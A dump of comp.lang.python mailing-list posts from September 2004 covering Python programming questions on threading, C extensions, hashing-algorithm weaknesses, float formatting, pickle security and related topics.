there a reason why they aren't in the standard library? I find myself 
copying and pasting the snippets all the time.
--
Michael Hoffman


From glc at well.com  Thu Sep 16 11:21:54 2004
From: glc at well.com (Greg Chapman)
Date: Thu, 16 Sep 2004 15:21:54 GMT
Subject: Embedded python with threads
References: <41486865$0$26393$79c14f64@nan-newsreader-06.noos.net>
Message-ID: <ppbjk0pqp99ep8lob24is1n60eqmbuhhqs@4ax.com>

On Wed, 15 Sep 2004 18:05:54 +0200, nik <my.news.groups at noos.fr> wrote:

>////
>Py_Initialize();
>
>// PyImport_ImportModule blocks until the myModule script has run
>// through...
>PyObject* module = PyImport_ImportModule("myModule");
>
>PyObject* function = PyObject_GetAttrString(module, "GetList");
>while(1) {
>	PyObject* pyList = PyObject_CallFunction(function, "");
>	// use the stuff in pyList
>	sleep(15);
>	}

I'm not sure I fully understand your problem, but in the loop above, you should
have:

        Py_BEGIN_ALLOW_THREADS
        sleep(15);
        Py_END_ALLOW_THREADS

This releases the Python GIL during the sleep call, allowing your list-filling
thread to run.

>
># the following statement happens when the C++ app imports the module,
># but the thread only lives as long the main python thread (which is
># over straight away on my linux PC)
>

This is what I don't understand, since the Python main thread should be the
thread on which Py_Initialize was called; it should remain alive (from Python's
perspective) until Py_Finalize is called.

---
Greg Chapman



From peter at somewhere.com  Tue Sep 28 05:12:02 2004
From: peter at somewhere.com (Peter Maas)
Date: Tue, 28 Sep 2004 11:12:02 +0200
Subject: synchronize a block
In-Reply-To: <WfudnV7vZuEUpMXcRVn-jQ@powergate.ca>
References: <2rqduhF1di4lmU1@uni-berlin.de>
	<b5qdnRyUvIusnsXcRVn-gA@powergate.ca> <DUT5d.438$gk.278@okepread01>
	<WfudnV7vZuEUpMXcRVn-jQ@powergate.ca>
Message-ID: <cjb9tk$spo$1@swifty.westend.com>

Peter Hansen schrieb:
> Sometimes, and more so lately, *painfully* slowly.  I'm somewhat
> saddened by the waste involved in some of those threads where the
> OP posts a vague question, we all spend days replying with various
> guesses at what was really intended, and then finally the OP
> posts again (and sometimes they don't even do us that courtesy!)
> and says merely "oh, it wasn't that complicated, I just meant X"
> and it turns out to have been a FAQ item anyway. :-(

The best way to minimize c.l.py effort is to behave like an expert
system:

synchronize: unknown. Please explain.

-- 
-------------------------------------------------------------------
Peter Maas,  M+R Infosysteme,  D-52070 Aachen,  Tel +49-241-93878-0
E-mail 'cGV0ZXIubWFhc0BtcGx1c3IuZGU=\n'.decode('base64')
-------------------------------------------------------------------


From albalmer at att.net  Tue Sep 14 15:09:21 2004
From: albalmer at att.net (Alan Balmer)
Date: Tue, 14 Sep 2004 12:09:21 -0700
Subject: Xah Lee's Unixism
References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<4140688e$0$6912$61fed72c@news.rcn.com>
	<flrphc.tlk1.ln@via.reistad.priv.no> <4140A885.90B945AC@yahoo.com>
	<4jkqhc.p7p1.ln@via.reistad.priv.no> <tqm7jqwrdxc.fsf@drizzle.com>
Message-ID: <h9gek09d62651te861d33nhvqgqm4htdf5@4ax.com>

On 14 Sep 2004 09:52:15 -0700, Patrick Scheible <kkt at drizzle.com>
wrote:

>Morten Reistad <firstname at lastname.pr1v.n0> writes:
>
>> I do not agree. Kennedy and  Clinton had a lousy foreign-policy
>> record. The Bay of Pigs, Vietnam, the Cuba crisis were all 
>> examples of glorious miscalculations. Ditto Rwanda, Somalia, and
>> the 
>
>Vietnam was certainly a catastrophe, but the blame goes to Johnson,
>not Kennedy.  There were only a few thousand U.S. troops in training
>and advisory roles in Vietnam by Kennedy's assassination.  Johnson
>decided to escalate the war and have U.S. forces fight directly.
>
>Even the best presidents can't have nothing but successes.  The Bay of
>Pigs was a failure, but at least Kennedy didn't compound the mistake
>by sending in U.S. troops where Cuban expats failed.
>
I didn't get the reference to the "Cuba crisis", either. I assume it
refers to the missile crisis (which kept me in Oakland for a week
while the Army decided which country to send us to.) I thought it was
the Cubans and Russians who miscalculated that one.

-- 
Al Balmer
Balmer Consulting
removebalmerconsultingthis at att.net


From kdahlhaus at yahoo.com  Mon Sep 13 08:34:05 2004
From: kdahlhaus at yahoo.com (Kevin Dahlhausen)
Date: 13 Sep 2004 05:34:05 -0700
Subject: Sample distutil setup.py script that uses SWIG and C++?
Message-ID: <283adf56.0409130434.2ae0ba73@posting.google.com>

Could anyone post a simple setup.py script that uses a SWIG interface
to C++ code  and the mingw compiler?

I followed some online samples, and am using the setup.cfg file to
specify swig-c++=1.

Trying to build using mingw out of the cygwin environment but the
final call to link the extension calls directly to 'cc' which I think
should really be g++ at that point.

Did get everything to build with a Makefile, but that's not the right
way to go.


From kirk at eyegor.jobsluder.net  Sun Sep 12 22:06:27 2004
From: kirk at eyegor.jobsluder.net (Kirk Job-Sluder)
Date: Mon, 13 Sep 2004 02:06:27 GMT
Subject: MD5 and SHA cracked/broken...
References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no>
Message-ID: <slrncka03t.2a1q.kirk@eyegor.jobsluder.net>

On 2004-09-11, Magnus Lie Hetland <mlh at furu.idi.ntnu.no> wrote:
> Basically, at Crypto 2004 preliminary papers were presented that
> pointed out weaknesses in MD5, SHA-0 and SHA-1. As far as I can tell,
> MD5 is broken and SHA-1 seems to be in a precarious position (even
> though I don't know the details at all).

It is always good to read carefully.  

An algorithm has been published that makes it easier than it should be
to find collisions in MD5.  On the other hand, weaknesses in MD5 have
been known for a few years now, so this is not much of a surprise.  What
this means is that it is possible to create two sequences that produce the
same MD5 hash result.  The sequences required to produce identical MD5
hashes seem to be meaningless except for the fact that they produce
identical MD5 hashes.  

Likewise, a similar problem has been found for SHA-0.  However, SHA-0
was known to be flawed early in the process of developing SHA so it was
strengthened to create SHA-1.  Extending the attack on SHA-0 to SHA-1 is
an open question at this time.  

In an unrelated development, an attack has been found on a reduced
version of SHA-1 using half the usual number of rounds.  Again, it is
not certain whether the attack is useful on the full version.  SHA-1
should still be good for now.

What does this mean in general?  Well, it depends on what you use MD5 or
SHA-1 for.  If, all you need to do is check to see if a file transfered
from one location to another intact, there probably isn't a rush to to
drop MD5 for SHA-1.  If your application depends on using MD5 as a
one-way encryption for passwords, then you probably should start
thinking about migrating to SHA-1. If your application depends on using
MD5 or SHA-0 to create keys and initialization vectors for symmetric
security, then you might want to worry about possible future discoveries
that might reveal a bias.  If as a part of your application, you make
the claim that you can prove a specific level of security based on the
collision avoidance properties of MD5 or SHA-0, then you have a lot more
to be concerned about.

It should also be mentioned that "broken" in terms of Cryptography is a
bit different from how we think about computer security in general.
"Broken" in this case means that there exists a known algorithm that
makes it easier than a brute force attack to violate one or more of the
desired properties for a good hash algorithm.  It DOES NOT mean that a
practical exploit exists for MD5 that permits one to slip a trojan into
downloaded files or crack a password file.  There are easier ways to
plant a trojan than to create an identical MD5 hash, or crack a password
file than to try to break preimage resistance.  

> Perhaps it would be appropriate to add a note, warning or "See also"
> to the library documentation for the md5 and sha modules?

I think that it would be a very good idea for MD5.  With SHA, I'm less
certain about wording however.  From what I've been reading on this, SHA
seems to be safe for now.

-- 
Kirk Job-Sluder
"The square-jawed homunculi of Tommy Hilfinger ads make every day an
existential holocaust."  --Scary Go Round


From tuure at laurinolli.net  Wed Sep 22 16:44:07 2004
From: tuure at laurinolli.net (Tuure Laurinolli)
Date: Wed, 22 Sep 2004 23:44:07 +0300
Subject: detecting variable types
In-Reply-To: <ciskpq$7f2$1@news-int.gatech.edu>
References: <cisjhb$6kr$1@news-int.gatech.edu>
	<Y-WdnWCkPIytTszcRVn-vQ@powergate.ca>
	<ciskpq$7f2$1@news-int.gatech.edu>
Message-ID: <cisnpp$bsa$1@epityr.hut.fi>

Jay wrote:

> def func(**params):
> 
>     # if params[key1] is a single string
>         # do something with params[key1]
> 
>     # if params[key1] is a list of strings
>         for val in params[key1]:
>             # do something
> 
> Could you suggest a better way to do this without detecting the type?

def func_for_string(astring):
     pass

def func_for_a_list_of_strings(alist):
     pass


Also, top posting is evil. See 
http://www.cs.tut.fi/~jkorpela/usenet/brox.html


From rnichol_rrc at yahoo.com  Fri Sep 10 12:50:33 2004
From: rnichol_rrc at yahoo.com (Reid Nichol)
Date: Fri, 10 Sep 2004 11:50:33 -0500
Subject: python and bit shifts and byte order, oh my!
In-Reply-To: <chrogi$gmk$1@news1.wdf.sap-ag.de>
References: <9490d.126$KA1.1800@news1.mts.net>
	<chrogi$gmk$1@news1.wdf.sap-ag.de>
Message-ID: <sWk0d.3$Uo1.23@news1.mts.net>

Daniel Dittmar wrote:
>> I played with bit shifts on my PC and tried the same thing on a Mac OS 
>> X machine.  They produced the same results, so I would assume that the 
>> way the bits and how they are interpreted are as in this link:
>>
>> http://www.khakipants.org/archives/2003/03/bitlevel_input_and_output.html
>>
>> At least in memory while the interpreter is running.
> 
> 
> CPUs differ in the way integers are stored in memory. But the shift 
> operators of the CPU are implemented to work on logical integers in 
> registers, not on consecutive bytes in memory.
> 
> Daniel

I'm wondering because the file format I'm trying to write uses 
bit-packing, so I need to be able to write, for example, a 5 bit integer 
to the disk.

I do think regardless of language I'm going to have an unfun time doing 
this.  But, since cross platform is a want approching a need, I'd like 
to use Python.

Would getting a specific bit from the integer be the same or would I 
have to worry about the byte-order?

ie Would:
x & SOMEBIT
be portable?


From ad at astral-on.net  Fri Sep 24 09:44:08 2004
From: ad at astral-on.net (Andrew Degtiariov)
Date: Fri, 24 Sep 2004 16:44:08 +0300 (EEST)
Subject: Bulding python module using C
Message-ID: <20040924134408.GE99980@astral-on.net>

Hello.
After some unhappy tries to write own module I attempt to compile
noddy3.c from Python-Docs-2.3.4.
I build noddy3.so using setup.py (showing bellow) and compilation process 
pass witout any warning. Bu while i try run test (test.py) it failed with:
<attribute 'first' of 'noddy3.Noddy' objects>
Traceback (most recent call last):
  File "test.py", line 6, in ?
    n.first = 'test'
TypeError: can't set attributes of built-in/extension type 'noddy3.Noddy'

Where was i wrong?

--- Begin of test.py ---
import sys
import noddy3

n = noddy3.Noddy
print n.first
n.first = 'test'
print n.first
sys.exit(0)
--- End of test.py ---

--- Begin setup.py ---
#! /usr/bin/env python

import sys

from distutils.core import setup, Extension

setup( name="noddy3",
       version="3",
       author="Primer from python documentation",
       author_email="XX at python.org",
       license="unknown",
       url="http://www.python.org/",
       ext_modules = [ Extension( "noddy3", ["noddy3.c"],
                                  libraries = [ ],
                                 ) ] )
--- End of test.py ---

-- 
Andrew Degtiariov 
DA-RIPE


From carribeiro at gmail.com  Mon Sep 13 18:36:59 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Mon, 13 Sep 2004 19:36:59 -0300
Subject: Ranting about the state of Python IDEs for Windows
In-Reply-To: <ci52ar$4kq$1@newsreader.mailgate.org>
References: <mailman.3261.1095106220.5135.python-list@python.org>
	<ci52ar$4kq$1@newsreader.mailgate.org>
Message-ID: <864d3709040913153679cd2461@mail.gmail.com>

Alberto,

On Mon, 13 Sep 2004 23:09:44 +0200, Alberto Santini <as at nospam.org> wrote:
> I suggest you
> 
> http://www.scintilla.org/

It's not going to help with my particular problem... because almost
*all* editors that I've tried already use Scintilla through various
different bindings. In fact, Boa, Eric3, PythonWin *and* DrPython all
use it. The only tool that I'm not sure about it is Komodo - but I
wouldn't be surprised if it too used Scintilla as the text editor
widget. I also have downloaded SciTE  and a couple other Scintilla
based editors.

The problem here is not with the editor -- is with the supporting
environment. My app is still in the early stages of programming and
already has several different source code files in several
directories. Were I using a tool like Delphi, it would be fairly easy
to keep track of everything. As I said, it's not that I can't do it
otherwise. It's just that I know from my personal experience that a
good tool can save a lot of time and add more convenience to the job.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From sysfrog at gmail.com  Thu Sep  2 17:32:02 2004
From: sysfrog at gmail.com (Guenther  Starnberger)
Date: 2 Sep 2004 14:32:02 -0700
Subject: shelve like interface to MySQLdb
Message-ID: <ch83gi$tde@odah37.prod.google.com>

Hi,

> I've done some googling and came up empty. Is there a simple
> way to create a shelve like interface to a MySQL table? The
> keys would be a direct mapping to the primary key in the table.

The only possibility to do this without object-specific
(de-)serializers would be to safe the pickled state of the object in
the database and this is probably not what you want.

I would suggest using an object-relational mapper like SQLObject
(http://sqlobject.org/) for this task.

cu
/gst



From aleaxit at yahoo.com  Sat Sep 18 04:49:09 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 18 Sep 2004 10:49:09 +0200
Subject: Database->python->Xml->Xslt->Client
References: <4c900ea0.0409172237.3e5abf25@posting.google.com>
	<cigqq6$mnp$1@news-reader5.wanadoo.fr>
Message-ID: <1gkb1h7.8azms01gn7bxsN%aleaxit@yahoo.com>

Michel Claveau - abstraction m?ta-galactique non triviale en fuite
perp?tuelle. <unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom> wrote:

> It is an architecture "en vogue" ; but AMHA, XML is verbose.

Not any more verbose, typically, than HTML doing the presentation of
whatever data the XML is encoding, which I take is the alternative John
(the OP) is comparing again (he didn't actually explain the alternative
architectures he's considering, but that one would appear to be the
default...).  If the XML is a high semantic level it can end up quite a
bit more compact than the HTML needed for nice presentation, even when
you factor out a lot of CSS from the latter to rely on the CSS getting
cached.

Fashion apart, I do think the proposed architecture may improve
performance compared to having the server prepare and send all HTML.  It
spreads the computational load (if the XML the server is sending is
pretty close to the database's content, at least) and may even reduce
the bandwidth (often not a key bottleneck in an intranet, particularly
these days with gigabit ethernet finally becoming cheap... but sometimes
VPNs and the like do extend an intranet over links where bandwidth CAN
be a problem!-).

Having the server supply raw data and spreading out even more work to
the clients would be more of the same, but would require way fatter
clients, and that carries its own set of issues.  What the OP described
can be done easily by decent browsers, today, with no need for fat
clients and all of their many issues.


Alex


From __peter__ at web.de  Thu Sep 16 04:59:12 2004
From: __peter__ at web.de (Peter Otten)
Date: Thu, 16 Sep 2004 10:59:12 +0200
Subject: Fwd: [Python-Dev] Strawman decision: @decorator won't change
Message-ID: <cibkl1$395$07$1@news.t-online.com>

I took the freedom to forward GvR's mail concerning decorator cosmetics. 
I think you should know about it.

Peter

----------  Forwarded Message  ----------

Subject: [Python-Dev] Strawman decision: @decorator won't change
Date: Wednesday 15 September 2004 23:46
From: Guido van Rossum <gvanrossum at gmail.com>
To: Python-Dev <python-dev at python.org>

Anthony Baxter asked me for a pronouncement on whether @decorator will
change to use some other character instead; I kept this open as a
possibility before 2.4b1 (which is tentatively scheduled for Oct 7th).
Given the near-complete silence following my rejection of the J2
alternative proposal, I don't expect there to be a massive popular
movement to change the character, but I admit I haven't looked for
responses outside python-dev.

Let's plan on doing the following. If in the next 7 days there's no
indication that some group of users wants to rally for a different
character, the decision to keep @ is made final on Sept 23. To change
the character, somebody will need to start rallying for a different
character, and be able to show signs of significant support by that
date.

The definition of "significant support" is intentionally left open for
interpretation, I'll review the evidence on the 23rd.

--
--Guido van Rossum (home page: http://www.python.org/~guido/)



From ben at benlast.com  Tue Sep 28 11:58:22 2004
From: ben at benlast.com (Ben Last)
Date: Tue, 28 Sep 2004 16:58:22 +0100
Subject: error
In-Reply-To: <20040928143917.BE2481E4003@bag.python.org>
Message-ID: <HLEGKHKIKMEHENBAEIEPOEEECKAA.ben@benlast.com>

> From: python-list-bounces+ben=benlast.com at python.org
> [mailto:python-list-bounces+ben=benlast.com at python.org]On Behalf Of
> mhammond at nebula.lyra.org
> Dear user python-list at python.org,
> Your e-mail account was used to send a large amount of junk email
> during this week.
> Obviously, your computer was compromised and now contains a
> hidden proxy server.
> We recommend that you follow instruction in order to keep your
> computer safe.

My computer's been compromised?  Nonsense - it's strictly ones and zeroes
here.  No grey areas.  No hint of a compromise of any sort, even if I ask
nicely.  Anyway, I'm more concerned about your advice to "follow
instruction".  What instruction?  Do you mean the offerings of those ladies
who advertise their services in phone boxes... you know, "discipline" or
"correction for naughty boys"?  I'm sorry; I may be British but I don't go
in for that.  Or perhaps, by "instruction", you mean that I should find any
set of instructions handy.  I have some here for putting up Ikea shelving...
let's try that...

yours impertinently
ben



From aleaxit at yahoo.com  Fri Sep 17 13:57:54 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 17 Sep 2004 19:57:54 +0200
Subject: Small inconsistency between string.split and "".split
References: <mailman.3241.1095094663.5135.python-list@python.org>
	<LJSdnepvP_vbSdjcRVn-hg@powergate.ca>
	<864d370904091310411a2cf435@mail.gmail.com>
	<20040913175927.GB4646@siliconimage.com>
	<864d370904091311095be3e08c@mail.gmail.com>
	<4146C179.5000404@livinglogic.de>
	<mailman.3311.1095172226.5135.python-list@python.org>
	<1gk9f6p.55wfdn1y3amuxN%aleaxit@yahoo.com>
	<m3oek56poq.fsf@pc150.maths.bris.ac.uk>
	<1gk9iql.flx09uik62nkN%aleaxit@yahoo.com>
	<m3fz5h6mr0.fsf@pc150.maths.bris.ac.uk>
Message-ID: <1gk9whe.1umi28e4pkmjaN%aleaxit@yahoo.com>

Michael Hudson <mwh at python.net> wrote:
   ...
> > Right; it could be remedied by letting a macro otherwise equivalent to
> > METH_O know about that one argument's name.
> 
> But... how?  I guess the PyMethodDef struct could grow an ml_signature
> field... wouldn't it be nice if you could do:

Right, something like that.  As long as we need backwards compatibility
(==all the way to 3.0) that needs to be handled with care, of course...

> 
> static PyObject*
> foo(PyObject* ob, int index)
> {
>         ...;
> }
> 
> PyMethodDef methods[] = {
>         {"foo", foo, "O[ob]i[index]", "docstring"},
>         {NULL, NULL}
> }
> 
> ?  Even nicer if you didn't have to write the signature by hand.
> 
> Unfortunately, I don't think you can do this in standard C.

I don't think so, either -- unless you put macros in TWO places,
perhaps:

DEF_PYFUN(foo, (PyObject* ob, int index))
{
   ...
}

PyMethodDef methods[] = {
    REF_PYFUN(foo, "docstring"),
    {0}
};

This, I suspect, might be possible, with DEF_PYFUN stashing the sig
string someplace (e.g. in a __def_pyfun__foo global) and REF_PYFUN
pulling out a reference to it...

> > nothing strange, and all correct, it seems to me.
> 
> Cool.  I should use pyrex more, I suspect.

Me too, I suspect -- it's really a cool way to write extensions for
Python.


Alex


From deetsNOSPAM at web.de  Wed Sep 15 17:14:47 2004
From: deetsNOSPAM at web.de (Diez B. Roggisch)
Date: Wed, 15 Sep 2004 23:14:47 +0200
Subject: thread specific sys.stdout?
References: <opsedyrils6yt6e7@news.cisco.com>
Message-ID: <ciabc0$seb$00$2@news.t-online.com>

aurora wrote:

> This may sound a little crazy. I capture the output of one class by
> redirecting the sys.stdout. However the is another threading running at
> the same time and occasionaly it output some messages to the redirected
> sys.stdout irreleveant to the output I want to capture. Is there a way to
> redirect output specific to some threads?

You could replace sys.stdout by a class that splits the written text
depending on the current thread. It might look roughly like this:

class ThreadPrinter:
    def __init__(self):
        _.fhs = {}

    def write(self, value):
        f = _.fhs.get(threading.currentThread(),
open(get_some_nice_file_name(), "w")
        f.write(value)
        _.fhs[threading.currentThread()] = f

Now before starting your threads, replace sys.stdout with an instance of
ThreadPrinter:

sys.stdout = ThreadPrinter()


-- 
Regards,

Diez B. Roggisch


From __peter__ at web.de  Mon Sep 20 10:24:58 2004
From: __peter__ at web.de (Peter Otten)
Date: Mon, 20 Sep 2004 16:24:58 +0200
Subject: Inheritance question
References: <eaB3d.12433$pA.483376@news20.bellglobal.com>
Message-ID: <cimp7q$tlk$01$1@news.t-online.com>

Yannick Turgeon wrote:

> is there a way that I could change my class A to something like:
> 
> class A:
>     _value
>     __init__(self, value):
>         self._value = value
>         if value > 10:
>             set myself as an instance of B1   # How can I do that?
>         else:
>             set myself as an instance of B2
> 
> in the real situation "value" is encoded and the way to know what kind of
> A it is, is more complex than just look at the value.

[Requires newstyle classes]

>>> class A(object):
...     def __new__(cls, value):
...             if value > 10:
...                     return super(cls, A).__new__(B1, value)
...             else:
...                     return super(cls, A).__new__(B2, value)
...     def __init__(self, value):
...             self._value = value
...
>>> class B1(A):
...     def doPrint(self):
...             print "B1:", self._value
...
>>> class B2(A):
...     def doPrint(self):
...             print "B2:", self._value
...
>>> A(1).doPrint()
B2: 1
>>> A(100).doPrint()
B1: 100

You can do it, but it's certainly bad design because A has to know all its
subclasses. If you go with the above I recommend that you use some kind of
registry instead of hardcoding the subclasses in A.__new__().

Peter



From jsaker at americanrelay.com  Wed Sep 22 08:38:40 2004
From: jsaker at americanrelay.com (James R. Saker Jr.)
Date: Wed, 22 Sep 2004 07:38:40 -0500
Subject: ThreadingUDPSocketServer drop/reject?
Message-ID: <1095856719.19540.31.camel@localhost>

Been digging into this one in Python docs and Beazley's Essential
Reference but I must be missing something. I need a UDP server for my
syslog collector app (preferably threaded for concurrency) to drop or
reject UDP client requests based on source IP validation. Most of the
google results I've seen show either authentication via upper layer
protocol (e.g. TLS, which won't work for old syslog devices) or refer to
using xinetd, /etc/hosts.allow external configurations (which puts
control elsewhere and a bit further from my little app).

Following ThreadingUDPServer's class inheritance up to BaseServer, I
would believe I'd need to override get_request() with a method that
evaluates the source IP (e.g. vs. a list[] ) and if address not in list,
then close_request(). 

Any thoughts on the approach here? 

Jamie




From tjreedy at udel.edu  Wed Sep 22 02:41:33 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 22 Sep 2004 02:41:33 -0400
Subject: Floating-point glitches with the math module. Bug? Or am
	Imissing something?
References: <pan.2004.09.20.22.13.05.488469@speakeasy.snip-me.net><20040921000356.GA2641@unpythonic.net>
	<1f7befae040920235213950f17@mail.gmail.com>
Message-ID: <cir6r2$7vn$1@sea.gmane.org>


"Tim Peters" <tim.peters at gmail.com> wrote in message 
news:1f7befae040920235213950f17 at mail.gmail.com...
> This isn't the fault of sloppy trig functions, it's an unavoidable
> consequence of using finite precision arithmetic to evaluate a
> function *near* a local minimum or local maximum.  cos() has a local
> maximum at cos(0), and d is near 0.  For any reasonable function f
> evaluated at point a such that f(a) is a local min or max, the first
> derivative of f at a is 0.  Therefore f(a+h) ~= f(a) + h**2*f''(a)/2
> (the first-order term of the Taylor expansion around a vanishes).
> That in turn roughly means that if you change any of the bits in the
> least significant half of a, it makes no visible difference to the
> computed value of f(a).

To illustrate:
>>> for i in range(50): print `cos(i*1e-9)` # Windows, 2.2
...
1.0
1.0
1.0
1.0
1.0
1.0
1.0
1.0
1.0
1.0
1.0
0.99999999999999989
0.99999999999999989
0.99999999999999989
0.99999999999999989
0.99999999999999989
0.99999999999999989
0.99999999999999989
0.99999999999999989
0.99999999999999978
0.99999999999999978
0.99999999999999978
0.99999999999999978
0.99999999999999978
0.99999999999999967
0.99999999999999967
0.99999999999999967
0.99999999999999967
0.99999999999999956
0.99999999999999956
0.99999999999999956
0.99999999999999956
0.99999999999999944
0.99999999999999944
0.99999999999999944
0.99999999999999933
0.99999999999999933
0.99999999999999933
0.99999999999999922
0.99999999999999922
0.99999999999999922
0.99999999999999911
0.99999999999999911
0.99999999999999911
0.999999999999999
0.999999999999999
0.99999999999999889
0.99999999999999889
0.99999999999999889
0.99999999999999878

The mathematically smooth cos(x) is effectively a stairstep function for 
|x|<5e-8.  Stairsteps are hard to invert ;-).

Terry J. Reedy





From bradtilley at usa.net  Wed Sep 15 14:30:06 2004
From: bradtilley at usa.net (Brad Tilley)
Date: Wed, 15 Sep 2004 14:30:06 -0400
Subject: See exactly what a function has returned
In-Reply-To: <roy-40BD1F.14035715092004@reader1.panix.com>
References: <ci9tfk$71t$1@solaris.cc.vt.edu>
	<roy-40BD1F.14035715092004@reader1.panix.com>
Message-ID: <41488A2E.6090404@usa.net>

Roy Smith wrote:
> In article <ci9tfk$71t$1 at solaris.cc.vt.edu>,
>  Brad Tilley <bradtilley at usa.net> wrote:
> 
> 
>>Is there an easier way to do this:
>>
>>def print_whats_returned(function):
>>     print function
>>     print type(function)
> 
> 
> In the general case, this is not possible.  A function can return 
> different things at different times.  Consider the following function:
> 
> def getSomething ():
>    if random.random () < 0.5:
>       return 42
>    else:
>       return "fourty-two"
> 
> so what type would you say this returns?

Depends on what randon.random came up with. Either way, we'd know what 
the function returned and what type it was... and that's all I want to know.


From jepler at unpythonic.net  Wed Sep  8 16:29:48 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 8 Sep 2004 15:29:48 -0500
Subject: %a format
In-Reply-To: <20040907182925.GA27643@grulic.org.ar>
References: <20040907182925.GA27643@grulic.org.ar>
Message-ID: <20040908202948.GC19306@unpythonic.net>

# This file is in the public domain
import random,math, struct

def hexf(d):
    q, = struct.unpack("Q", struct.pack("d", d))
    man = q & 0xfffffffffffff
    sgn = ["", "-"][q >> 63]
    bexp = (q >> 52) & 0x7ff
    exp = bexp - 0x3ff
    esgn = ["+", "-"][exp < 0]
    if bexp == 0x7ff:
        # SNan, QNan, or infinity
        return str(d)
    elif bexp == 0x0:
        # Denormal or zero
        if not man:
            return "%s0X0P0" % sgn
        imp = 1l<<52
        exp += 1
        while not man & imp:
            man <<= 1
            exp -= 1
    else:
        man = man + (1l<<52)
    hman = hex(man)[2:-1]
    hman = hman.rstrip("0")
    if len(hman) == 1:
        return "%s0X%sP%d" % (sgn, hman, exp)
    else:
        return "%s0X%s.%sP%d" % (sgn, hman[0], hman[1:], exp)

def test():
    inf = float("inf"); ninf = -inf
    nan = float("nan"); nnan = -nan
    pairs = [
        (0, "0X0P0"),
        (-1.*0, "-0X0P0"),
        (1, "0X1P0"),
        (.5, "0X1P-1"),
        (2, "0X1P1"),
        (1.5, "0X1.8P0"),
        (2.**10, "0X1P10"),
        (2.**-10, "0X1P-10"),
        (2.**-320, "0X1P-320"),
        (2.**-1024, "0X1P-1024"),
        (2.**-1060, "0X1P-1060"),
        (2.**1020, "0X1P1020"),
        (-1, "-0X1P0"),
        (-.5, "-0X1P-1"),
        (1-2.**-53, "0X1.FFFFFFFFFFFFFP-1"),
        (-2, "-0X1P1"),
        (-1.5, "-0X1.8P0"),
        (-2.**10, "-0X1P10"),
        (-2.**-10, "-0X1P-10"),
        (-2.**-320, "-0X1P-320"),
        (-2.**-1024, "-0X1P-1024"),
        (-2.**-1060, "-0X1P-1060"),
        (-2.**1020, "-0X1P1020"),
        (-(1-2.**-53), "-0X1.FFFFFFFFFFFFFP-1"),
        (inf, str(inf)),
        (ninf, str(ninf)),
        (nan, str(nan)),
        (nnan, str(nnan)),
    ]
    success = 0
    for f, s in pairs:
        t = hexf(f)
        print repr(f), t
        if t != s:
            print "FAIL", f, s, t
        else:
            success += 1
    if success == len(pairs):
        print "SUCCESS", success

if __name__ == '__main__': test()
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040908/95d1559f/attachment.sig>

From jbrandmeyer at earthlink.net  Sat Sep 11 16:06:57 2004
From: jbrandmeyer at earthlink.net (Jonathan Brandmeyer)
Date: Sat, 11 Sep 2004 16:06:57 -0400
Subject: troubleshooting multiple inheritance errors
Message-ID: <1094933217.1039.15.camel@illuvatar>

I am attempting to create a class that inherits from a PyGTK class and a
Boost.Python-based class.  When the interpreter executes code like:

class Myclass( gtk.some_class, my_boost_python_class):

I get the exception:
TypeError: multiple bases have instance lay-out conflict

According to the great Google, in most cases that exception was due to a
conflict with multiple base classes defining the member __slots__ at
class scope.  As far as I can tell, neither of the parent classes (or
any of their parents) contains such a member, as evidenced by the fact
that for each parent, class_type.__dict__['__slots__'] produces a
KeyError.

I'm not sure how to continue debugging this problem.  What other kinds
of things can lead to this error?

Thanks for your help,
Jonathan Brandmeyer



From jerf at jerf.org  Sun Sep 19 21:11:55 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Mon, 20 Sep 2004 01:11:55 GMT
Subject: PyYaml?
References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol>
	<l3c3d.1327$HH5.1125@trndny05> <uy8j6pdpp.fsf@yahoo.co.uk>
	<Gxo3d.4218$4j1.3425@trndny06>
Message-ID: <pan.2004.09.20.22.20.06.894568@jerf.org>

On Sun, 19 Sep 2004 23:23:18 +0000, Chris S. wrote:

> I don't quite follow your logic. If you load a serialized file, you should
> conceivably already know what classes it should and should not be
> instantiating, and be able to restrict its access accordingly.

In theory, yes. In Java, yes, I would imagine. In Python, not so far. In
fact, note that Bastion and RExec have been removed from modern Pythons
because they were false assurances. Securing Pickle is probably the same
problem as re-writing those modules to work in modern Python. People more
familiar with the internals can give more details about that, though I'd
google the Python dev list before asking anyone.

It is probably not theoretically impossible to add this to Python but it
is surprisingly difficult; it is the sort of thing you have to design into
the language from day one and even then it is hard.

> I meant language and platform portability. I suppose you'd find this
> aspect attractive for the same reasons you'd use XML, which some have also
> used as a serialization format. Granted, not every languages' objects may
> be translatable, but many languages share common data primitives.

You'd be surprised, if you actually tried. (This is technically off-topic,
not directly about Pickle.)

A data type is basically a range of values, and a set of operations on it
that returns some value. 

So, C has this thing called an "int", right? Surely Python has it too.

But, technically, it doesn't. Compare (this is "test.cpp"):

#include <iostream>                                                             
                                                                                
int main() {                                                                    
  int a = 1073741824;                                                           
  std::cout << a * 4 << std::endl;                                              
  return 0;                                                                     
}                                                                               

>> g++ test.cpp  
>> a.out
0

with:

>> python -c "print 1073741824 * 4"
4294967296



Python and C do *not* have the same int "datatype". This matters when you
go to serialize 2 ^ 43 and the resulting number works in Python but has
some random looking value in C++.

If you really get down to it, languages share far fewer datatypes than
you'd think, and while the ten-mile-high view says "Oh, that shouldn't
matter", I assure you, if you actually got into trying to design an actual
serialization protocol you'd rapidly find it matters.



From carl.scharenberg at gmail.com  Wed Sep 22 15:25:07 2004
From: carl.scharenberg at gmail.com (Carl Scharenberg)
Date: 22 Sep 2004 12:25:07 -0700
Subject: OT: regex to find email
